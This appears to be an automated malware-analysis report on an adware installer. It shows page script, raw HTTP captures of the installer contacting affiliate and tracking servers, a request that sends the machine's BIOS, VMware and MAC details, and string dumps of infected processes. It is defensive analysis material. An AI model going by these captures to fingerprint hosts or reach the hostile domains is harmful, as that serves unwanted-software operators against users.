..    .width: "100%",..    .height: "100%"..  .});...  .box.find("a im
g").css({..    .maxHeight: "100%"..  .});..} else {..    var QueryStri
ng = (function() {..    .var query_string = {};..    .var query = wind
ow.location.search.substring(1);..    .var vars = query.split("&");.. 
   .for (var i = 0; i < vars.length; i  ) {..      ..var pair = var
s[i].split("=");...      ..if (typeof query_string[pair[0]] === "undef
ined") {..        ..query_string[pair[0]] = decodeURIComponent(pair[1]
);..      ..} else if (typeof query_string[pair[0]] === "string") {.. 
       ..var arr = [query_string[pair[0]], decodeURIComponent(pair[1])
];..        ..query_string[pair[0]] = arr;..      ..} else {..        
..query_string[pair[0]].push(decodeURIComponent(pair[1]));..      ..}.
.    .}..    .return query_string;..  .})();...    var isExlgG = funct
ion (str) {....var g = 10-(str[0]/str[2])==str[1];....return g;.. 
<<< skipped >>>


GET /pr/public/js/adframe.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: ic-dc.s3.amazonaws.com
Connection: Keep-Alive


HTTP/1.1 200 OK
x-amz-id-2: tzQXQN74EUT7f9TI3CbyS 5woe7PrYHaRV9ZVfYT9qI9pgMrjD0p1ki5dBJIsmyucRhs1FCEr2E=
x-amz-request-id: CBD264C40D8F86D0
Date: Thu, 12 Apr 2018 16:48:02 GMT
Last-Modified: Mon, 09 Jan 2017 12:15:17 GMT
ETag: "0d5ff84418e11098019c392f6c85729e"
Accept-Ranges: bytes
Content-Type: application/javascript
Content-Length: 23
Server: AmazonS3
window.adsAreOk = true.HTTP/1.1 200 OK..x-amz-id-2: tzQXQN74EUT7f9TI3C
byS 5woe7PrYHaRV9ZVfYT9qI9pgMrjD0p1ki5dBJIsmyucRhs1FCEr2E=..x-amz-requ
est-id: CBD264C40D8F86D0..Date: Thu, 12 Apr 2018 16:48:02 GMT..Last-Mo
dified: Mon, 09 Jan 2017 12:15:17 GMT..ETag: "0d5ff84418e11098019c392f
6c85729e"..Accept-Ranges: bytes..Content-Type: application/javascript.
.Content-Length: 23..Server: AmazonS3..window.adsAreOk = true...



GET /normal_bg4.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: d2adi7hu49xk5t.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 63855
Connection: keep-alive
Date: Wed, 25 Oct 2017 08:41:43 GMT
Last-Modified: Wed, 25 Oct 2017 07:20:00 GMT
ETag: "0f4f3c2685f4c75717b342a34fe59423"
Accept-Ranges: bytes
Server: AmazonS3
Age: 43570
X-Cache: Hit from cloudfront
Via: 1.1 5d53a1d9ef3a6f7480785993c37a7ad5.cloudfront.net (CloudFront)
X-Amz-Cf-Id: xeiwEOHZwy27unH1lQlkg4VV0xVTfSrJ4_bwhVNE-j5WbDSIQ3FMqg==
.PNG........IHDR...E.................PLTE.............................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................g.....Z.................q...........O............
.._............................................d......................
......................l.....t........>........|........a.....B.....
j..U.....D.................G..5y..........ClP=...*IDATx...A..0....pn.3
t?..u...l..!....ofQh...R..`..T......I..&..dIO3......].....La.!..0E..X.
T..@.&.JVC.|...V.E.SV.K.^.V......"....T=f.3I ..Z.n~O...]..T...6..<.
....ze|1.r*..../:.....Nje6.1..>.#.9..p.. \!.......,.(..[..5a-F..Z..
...!......0...=..R...'...W.....(.H...:..9.h..$G.....f.D>1G8.@....V4
P.Z..A...Y{JR..........G..1".H...BsI.2G..3%......".L....c....}H..(.."U
>.....w.Z.k.q....k.p<.Q$bi..i.*.......x....l...SCv.....<.0D.5
)>...r..2ERo..>=?...c..~.b...F//._.k....~.~g..~d....0c.G...R....
.t..y'.....e....K.k..?t..k.p..q...M..<. R.Sm.9...R.A.X..tY...*...FL
..>.. .0D..:V..-.L.2....X.c0.&~...Y.}7O.........j. .E..E?[Q.'...;w.
....#T......W.#..... 3.t.......T*u..#.r..c*......a..n.y]WU]7T5..;.
<<< skipped >>>


POST hXXp://kiss.oatmealscene.loan/installer.php?affId=2629&instId=6935&ho_trackingid=HO5acf8db4ef9725acf8db530996&trackingId=314068077&cc=UA&untracked=&uac=1&osd=1604&net=4.5.50709&cid=5c12d1104cca24294ae7d8d45ce8d028&v=3 HTTP/1.1
Host: kiss.oatmealscene.loan
Connection: close
Accept: */*
User-Agent: InstallCapital
Content-Type: application/x-www-form-urlencoded
Content-Length: 1133

cid=5c12d1104cca24294ae7d8d45ce8d028&uac=1&id[]=481343&id[]=481348&id[]=481352&id[]=481361&id[]=481362&id[]=481370&id[]=481371&id[]=481372&id[]=481373&id[]=481374&id[]=481375&id[]=481376&id[]=481377&id[]=481378&id[]=481379&id[]=1274019&id[]=4415&id[]=4416&id[]=453683&id[]=453684&id[]=453685&id[]=453686&id[]=686787&id[]=686788&id[]=686789&id[]=686790&id[]=455577&id[]=481332&id[]=481333&id[]=481334&id[]=481335&id[]=481336&id[]=481337&id[]=481338&id[]=481339&id[]=481340&id[]=481341&id[]=481342&id[]=481344&id[]=481345&id[]=481346&id[]=481347&id[]=481349&id[]=481350&id[]=481351&id[]=481353&id[]=481354&id[]=481355&id[]=481356&id[]=481357&id[]=481358&id[]=481359&id[]=481360&id[]=481363&id[]=481364&id[]=481365&id[]=481366&id[]=481367&id[]=481368&id[]=481369&id[]=481380&id[]=481381&id[]=481382&id[]=481383&id[]=481384&id[]=481385&id[]=481386&id[]=481387&id[]=481388&id[]=481389&id[]=998579&id[]=1868&id[]=1877&id[]=1891&id[]=1892&id[]=1893&id[]=1898&id[]=1899&id[]=1900&id[]=3954&id[]=3955&id[]=3956&id[]=3957&id[]=3958&id[]=3959&id[]=3960&id[]=3961&id[]=3193&id[]=1322488&id[]=1322489&id[]=4064&id[]=4414&id[]=1607978&id[]=1607979
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.3.28
Set-Cookie: PHPSESSID=q32ib5i21o3km0ea0umqabgk74; path=/
Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMVwiOjE1MjM1NTE2NjZ9LFwidGltZVwiOjE1MjM1NTE2NjZ9In0.m5MbZp4XstRQgVMkIwGjnrX3IxhYNV6OvhR8N315xcs; expires=Sun, 13-May-2018 16:47:50 GMT; path=/; domain=.kiss.oatmealscene.loan
Date: Thu, 12 Apr 2018 16:47:50 GMT
Connection: close
Content-Length: 92008
]P..T.........p.....pc........=.\GL.......I.......)..D....f%...<...
..X.{..........V2.0....$...L.....WT.....m...y.v..\...Wgeob..2..8.PK...
.......wH'.,^j............!G...QH......F..F....L.1...r.|.g.......qM...
.Q.....'...D\Df...B..@...9hi.......;?........M.{;..vq.".._..5.~.A.9..q
....].~8.w;.........w.u.K..M..b...&..5f6'.. ...c.N......b..j.m9.]:....
.=.........|e...Q.$e......(.V8..&.O'..L|b.....N.p....4..K#.6}......P..
>...9.%....d...$..A.. /7..Z6.....Wg.Sl..\..S.v...Z.w.......&.8`...$
........7.....?v*.........b.]o.1.. ..f..I.....U.$.R8!V.eh.. !.[..... .
C....F..g.bTi.<.......S .......kai...M.v..*J.$..J.....U.3VN..W..op"
(y.3...\..Qx..../.......}.]@.=.Ha....R!4.5...n^.s...*.O.WU........^{t.
...q.;../..._/XV.b*O{...O?o.L..mQ..$.j.i.3.....:...s..#.....:QY$......
.X.l....&.....;x.8....!.:tQW....{...%.j-..X........s.s.g.......=k.4...
G@.`..r.@....g0...7)..1N...e~.}E....{W..g.<.FM.#.....6.D..8.X...k..
x.\tB3.../.h.B.:.yZ..'..Q./...>../q.K.:.....)T9,.5..s...NtV.}9.{[-.
_...a..K....}....x.......D...Sw....X...'j....B..B}...WB5..'...|=yZ.L2.
..GG.......a.q.........L.~....(..W...yC.....Z.Zy......Q.n..F..t..j...Q
..]..y....Ga.^....4.....%m.X.<...sM.7...6.W...M...M(!MGp`2..e...!'.
...^I.....F.....RE..$c...)..c...>..D....O~&kv.,..=0R....F4..f......
.......rX;.....yk.u.$.o.-.Q...J.~=.p..U..A.....8......A.U...uM........
 m<,......]..a...nK.1.%...05..qK....1.>@....s.F{....Jm.hOJ..'I..
IC@7iB..yJ..Ot"(j.....b.K........]...v..../Am.e.Z.j..O%I2,.s..W.....D?
.S=...OS.e$|.=,%....q...2K..p 80.a.s...^...h{.Z..-...E...%.....b..
<<< skipped >>>


GET /impression.gif?b=120492&p=5103&c=10390&h=177a937b0d9a7a39eee4f1dd260ad305&l=UA&sh=800&sw=1280&ad.trans.id=o3395g3cvnxt&cps=Y2hhbg*~dnRs*~Y3Jy*~ZXhsZA*&s=10529c7be37773fb4b6457ccb63e7fd3&t=1523551682009 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.1-1ads.com/ads?key=3a71f57f6d976f956c5f61dbdd4adf7b&ch=&cp.chan=&cp.vtl=&cp.crr=&cp.exld=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: VVV.1-1ads.com
Connection: Keep-Alive
Cookie: UUID=43889050-3e71-11e8-9a86-3c4a92ef4778


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="CAO PSA OUR"
Set-Cookie: ucv=10390-UA-1523638082152-24--; Domain=.VVV.1-1ads.com; Expires=Fri, 12-Apr-2019 16:48:02 GMT; Path=/
Accept-Ranges: bytes
Content-Type: image/gif
Content-Length: 43
Date: Thu, 12 Apr 2018 16:48:01 GMT
GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Ap
ache-Coyote/1.1..Cache-Control: no-cache..Pragma: no-cache..Expires: T
hu, 01 Jan 1970 00:00:00 GMT..P3P: CP="CAO PSA OUR"..Set-Cookie: ucv=1
0390-UA-1523638082152-24--; Domain=.VVV.1-1ads.com; Expires=Fri, 12-Ap
r-2019 16:48:02 GMT; Path=/..Accept-Ranges: bytes..Content-Type: image
/gif..Content-Length: 43..Date: Thu, 12 Apr 2018 16:48:01 GMT..GIF89a.
............!.......,...........D..;..



GET /report.php?typ=sys&affId=2629&instId=6935&ho_transId=HO5acf8db4ef9725acf8db530996&transId=314068077&chk_s_b=VMware-56 4d a7 48 b6 81 1f 90-3f 36 cc ce af 92 9a d2&chk_s_v=HPQOEM - 6040000&chk_c_ma=VMware, Inc.&chk_c_mo=VMware Virtual Platform&chk_mac=00:50:56:3C:AC:7120:41:53:59:4E:FF&randid=0.07360729693110823 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: InstallCapital
Host: kiss.oatmealscene.loan


HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.3.28
Set-Cookie: PHPSESSID=j8a07jqr1919a8iejqu4jv5ri1; path=/
Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMVwiOjE1MjM1NTE2Njh9LFwidGltZVwiOjE1MjM1NTE2Njh9In0.lHsDYzAkLYnI782WykZ3WVwXDR0mZglmsfyyXOpFMNk; expires=Sun, 13-May-2018 16:47:53 GMT; path=/; domain=.kiss.oatmealscene.loan
Date: Thu, 12 Apr 2018 16:47:52 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-store, no-cache, must-revalidate, p
ost-check=0, pre-check=0..Pragma: no-cache..Content-Type: text/html; c
harset=utf-8..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Server: Microsof
t-IIS/8.5..X-Powered-By: PHP/5.3.28..Set-Cookie: PHPSESSID=j8a07jqr191
9a8iejqu4jv5ri1; path=/..Set-Cookie: a862a6096792e35ad3375e3a94312fe4b
a1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ
25zXCI6e1wiMVwiOjE1MjM1NTE2Njh9LFwidGltZVwiOjE1MjM1NTE2Njh9In0.lHsDYzA
kLYnI782WykZ3WVwXDR0mZglmsfyyXOpFMNk; expires=Sun, 13-May-2018 16:47:5
3 GMT; path=/; domain=.kiss.oatmealscene.loan..Date: Thu, 12 Apr 2018 
16:47:52 GMT..Content-Length: 0..



GET /08e0b779-c1db-404a-b9a2-b4657d709f22 HTTP/1.1
Accept: text/html, application/xhtml xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: trk.railquince.bid
Connection: Keep-Alive


HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, pre-check=0, post-check=0
Date: Thu, 12 Apr 2018 16:48:00 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: hXXp://ic-dc.bundlessafevault.com/pr/3e07b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html
Pragma: no-cache
Server: nginx
Set-Cookie: 08e0b779-c1db-404a-b9a2-b4657d709f22-v4=08e0b779-c1db-404a-b9a2-b4657d709f22;domain=trk.railquince.bid;path=/;HttpOnly
Set-Cookie: voluum-cid-v4={
  "cid" : "wPLO5JA9PV3SAO5D1F1GVNLO",
  "caid" : "08e0b779-c1db-404a-b9a2-b4657d709f22"
};Max-Age=31536000;Expires=Fri, 12-Apr-2019 16:48:01 GMT;domain=trk.railquince.bid;path=/;HttpOnly
Content-Length: 0
Connection: keep-alive
HTTP/1.1 302 Found..Cache-Control: no-store, no-cache, pre-check=0, po
st-check=0..Date: Thu, 12 Apr 2018 16:48:00 GMT..Expires: Thu, 01 Jan 
1970 00:00:00 GMT..Location: hXXp://ic-dc.bundlessafevault.com/pr/3e07
b12e-e7d1-11e6-836f-02e33f60d095/typ_1.html..Pragma: no-cache..Server:
 nginx..Set-Cookie: 08e0b779-c1db-404a-b9a2-b4657d709f22-v4=08e0b779-c
1db-404a-b9a2-b4657d709f22;domain=trk.railquince.bid;path=/;HttpOnly..
Set-Cookie: voluum-cid-v4={
  "cid" : "wPLO5JA9PV3
SAO5D1F1GVNLO",
  "caid" : "08e0b779-c1db-404a-b
9a2-b4657d709f22"
};Max-Age=31536000;Expires=Fri, 12-Apr-2019 16
:48:01 GMT;domain=trk.railquince.bid;path=/;HttpOnly..Content-Length: 
0..Connection: keep-alive..

The Trojan connects to the servers at the folowing location(s):

iexplore.exe_2420:

.text
`.data
.rsrc
@.reloc
>.uzf
.us;}
IEFRAME.dll
MLANG.dll
iertutil.dll
urlmon.dll
ole32.dll
SHELL32.dll
SHLWAPI.dll
msvcrt.dll
USER32.dll
KERNEL32.dll
ADVAPI32.dll
RegOpenKeyExW
RegCloseKey
GetWindowsDirectoryW
_amsg_exit
_wcmdln
UrlApplySchemeW
PathIsURLW
UrlCanonicalizeW
UrlCreateFromPathW
iexplore.pdb
KEYW
KEYWh
KEYWD
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
user32.dll
Kernel32.DLL
xfire.exe
wlmail.exe
winamp.exe
waol.exe
sidebar.exe
psocdesigner.exe
np.exe
netscape.exe
netcaptor.exe
neoplanet.exe
msn.exe
mshtmpad.exe
mshta.exe
loader42.exe
infopath.exe
iexplore.exe
iepreview.exe
groove.exe
explorer.exe
dreamweaver.exe
contribute.exe
aol.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
DShell32.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}
"%s" %s
Kernel32.dll
\AppPatch\sysmain.sdb
-extoff go.microsoft.com/fwlink/?LinkId=106323
-extoff go.microsoft.com/fwlink/?LinkId=106322
-extoff go.microsoft.com/fwlink/?LinkId=106320
kernel32.dll
{00000000-0000-0000-0000-000000000000}
\\?\Volume
shell:%s
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
9.00.8112.16421 (WIN7_IE9_RTM.110308-0330)
IEXPLORE.EXE
Windows
9.00.8112.16421

iexplore.exe_2712:

.text
`.data
.rsrc
@.reloc
>.uzf
.us;}
IEFRAME.dll
MLANG.dll
iertutil.dll
urlmon.dll
ole32.dll
SHELL32.dll
SHLWAPI.dll
msvcrt.dll
USER32.dll
KERNEL32.dll
ADVAPI32.dll
RegOpenKeyExW
RegCloseKey
GetWindowsDirectoryW
_amsg_exit
_wcmdln
UrlApplySchemeW
PathIsURLW
UrlCanonicalizeW
UrlCreateFromPathW
iexplore.pdb
KEYW
KEYWh
KEYWD
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
user32.dll
Kernel32.DLL
xfire.exe
wlmail.exe
winamp.exe
waol.exe
sidebar.exe
psocdesigner.exe
np.exe
netscape.exe
netcaptor.exe
neoplanet.exe
msn.exe
mshtmpad.exe
mshta.exe
loader42.exe
infopath.exe
iexplore.exe
iepreview.exe
groove.exe
explorer.exe
dreamweaver.exe
contribute.exe
aol.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
DShell32.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}
"%s" %s
Kernel32.dll
\AppPatch\sysmain.sdb
-extoff go.microsoft.com/fwlink/?LinkId=106323
-extoff go.microsoft.com/fwlink/?LinkId=106322
-extoff go.microsoft.com/fwlink/?LinkId=106320
kernel32.dll
{00000000-0000-0000-0000-000000000000}
\\?\Volume
shell:%s
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
9.00.8112.16421 (WIN7_IE9_RTM.110308-0330)
IEXPLORE.EXE
Windows
9.00.8112.16421

SearchProtocolHost.exe_2276:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
MSSHooks.dll
IMM32.dll
SHLWAPI.dll
SrchCollatorCatalogInfo
SrchDSSLogin
SrchDSSPortManager
SrchPHHttp
SrchIndexerQuery
SrchIndexerProperties
SrchIndexerPlugin
SrchIndexerClient
SrchIndexerSchema
Msidle.dll
Failed to get REGKEY_FLTRDMN_MS_TO_IDLE, using default
pfps->psProperty.ulKind is LPWSTR but psProperty.lpwstr is NULL or empty
d:\win7sp1_gdr\enduser\mssearch2\common\utils\crchash.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrdmn\fltrdaemon.cxx
d:\win7sp1_gdr\enduser\mssearch2\search\common\include\secutil.hxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracerhelpers.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
</MSG></TRC>
<MSG>
<ERR> 0xx=
<LOC> %s(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%s"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%s"
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
SHELL32.dll
PROPSYS.dll
ntdll.dll
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
MsgWaitForMultipleObjects
SearchProtocolHost.pdb
2 2(20282|2
4%5S5
Software\Microsoft\Windows Search
https
kernel32.dll
msTracer.dll
msfte.dll
lX-X-X-XX-XXXXXX
SOFTWARE\Microsoft\Windows Search
tquery.dll
%s\%s
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
advapi32.dll
WAPI-MS-Win-Core-LocalRegistry-L1-1-0.dll
winhttp.dll
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<LOC> %S(%d) </LOC>
tagname="%S"
logname="%S"
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
Microsoft Windows Search Protocol Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchProtocolHost.exe
Windows
7.00.7601.17610

SearchFilterHost.exe_2900:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
USER32.dll
ole32.dll
OLEAUT32.dll
TQUERY.DLL
IMM32.dll
MSSHooks.dll
mscoree.dll
SHLWAPI.dll
d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrhost\bufstm.cxx
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp
RegDeleteKeyW
RegDeleteKeyExW
8%uiP
d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx
Invalid parameter passed to C runtime function.
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp
-d-d-d-d-d-d-d-%d
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h
d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
ReportEventW
_amsg_exit
SearchFilterHost.pdb
version="5.1.0.0"
name="Microsoft.Windows.Search.MSSFH"
<requestedExecutionLevel
3 3(30383|3
kernel32.dll
Software\Microsoft\Windows Search
SOFTWARE\Microsoft\Windows Search
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Windows Search Service
tquery.dll
advapi32.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
<Exception><HR>0xx</HR><eip>%p</eip><module>%S</module><line>%d</line></Exception>
Software\Microsoft\Windows Search\Tracing
Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported
Software\Microsoft\Windows Search\Tracing\EventThrottleState
<MSG>
<ERR> 0xx=
<LOC> %S(%d) </LOC>
tid="0x%x"
pid="0x%x"
tagname="%S"
tagid="0x%x"
el="0x%x"
time="d/d/d d:d:d.d"
logname="%S"
</MSG></TRC>
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
%s\%s
winhttp.dll
Microsoft Windows Search Filter Host
7.00.7601.17610 (win7sp1_gdr.110503-1502)
SearchFilterHost.exe
Windows
7.00.7601.17610

sppsvc.exe_3364:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
msvcrt.dll
RPCRT4.dll
ole32.dll
101119-1850
0xx
SLSSetCurrentProductKey
SLSGetPKeyId
SLSGetPKeyInformation
SLSGetInstalledProductKeyIds
.nJ `
.oK3@
/`uC.pJ
y'y.vIdz[
?456789:;<=
!"#$%&'()* ,-./0123
ntdll.dll
.IuYm
PSSSSSSh
pK.pE
@$%,@ %,
$~K.Ywjv
.fp2J-N3
0` ,0\ ,
$<,@(<,@(
 0SSh
,0SSh
Q@SSh
@8%,`<%,`}
@Hp,`%D
.lmWy
.OX9|q
2_L%C
]%C "k
2.1.4.0, Mon 03/02/2009 12:32:57.69
%]-0}W
)B#!.Dv"
n?5-Q%D
'%2X?
.HX}RVA
c.ZFo
.sVI%yD
.Gqo*
k.uOm
%D>0.
&:%Cl
KB1%cT
NH%c%
.hPfB
`%S'`
7.vb-
S<z.HZ-
'h-m}
zd%uA
&.tQt%
.Nv!X
y9[%C
Q#sh.kb
1Q%fP]Y,
Sa.ixk
/.VCD
4;.ci]
$.Di3
Tc%c>
c!J87n.Hx
P!.tL1
05_@9};;(
.vOY%
qW$.kJ
9.udAAK
9.uDAAO
Jt.Jt
PSShd
<0.tb
PSShP
PSShp
%XRh!
PSSh`
PSSh_l4
8.pexu
sppsvc.exe
RegCloseKey
RegOpenKeyExW
RegDeleteKeyW
RegCreateKeyExW
RegEnumKeyW
RegQueryInfoKeyW
RegSetKeySecurity
ReportEventW
RegEnumKeyExW
CryptDestroyKey
CryptImportKey
CryptExportKey
CryptGenKey
GetProcessHeap
_amsg_exit
sppsvc.pdb
.uLC`<I
4a.wo
 5]%C!
%u B)k,
.LqdX
.uwHRi6
6e|WEB
SPVER:7127.2009-05-11.09:01:10.{5fa32886-a312-42e0-8452-8a1c3c861170}
"}[%F
.Jo{,`
gTq.lg
_z-f}
E z.jC
W\%xZ6}
2P%U^
>N.kD
6Lq%c
version="1.0.0.0"
name="System.Security.SoftwareLicensing.Server"
<requestedExecutionLevel
KEYW
3 3$3(3,30343
: :$:(:,:0:4:8:
> >$>(>,>0>4>8><>
5 5$5,6064686
4 4$4(4,4
1*101?1,2
; ;/;8;~;
8 979<9_9
<9<#=(=8=
8%8S8
8'9,9:9`9
2)3$4)474^4_5
6 7w7S7X7j7
>$?)?6?[?
7 808>8}8
2"4'454{4
4#4(484]4
? ?$?(?,?0?4?
= =$=(=,=
6 6$6(6,6
3 3$3(3,3034383<3
8 8$8(8,8084888<8
? ?$?(?,?0?4?8?<?
6 6$6(6,60646
7Œ8
&2.2@2~2
798)919=9
7}7a9z9
7u7d7t7
?!?3???`?
%d.%d.%d.%d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
SPPCTransportEndpoint-00001
S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies
80e74f83-3c1f-448d-bacd-5bb3d73fdcc4
KeyManagementServicePort
KeyManagementServiceName
lx-x-x-xx-xxxxxx
issuanceCertificateId
SppPkeyBindingEditionId
%d 0xX
%d %d
SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
%s\%s
%sT%sZ
%USERPROFILE%\Application Data\Microsoft\SoftwareProtectionPlatform\SAM\
%USERPROFILE%\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\SAM\
UserOperations
Global\552FFA80-3393-423d-8671-7BA046BB5906
TokenActivationCertThumbprint
DiscoveredKeyManagementServicePort
DiscoveredKeyManagementServiceName
PartialProductKey
{EC52D0E1-9197-45ae-B2A9-DC3EFCE523C0}
{2233362A-798F-4319-BE6A-0425F899BF04}
%d:0xX
SppPkeyBindingAlgorithm
SppPkeyBindingProductKey
SppPkeyUniqueIdToken
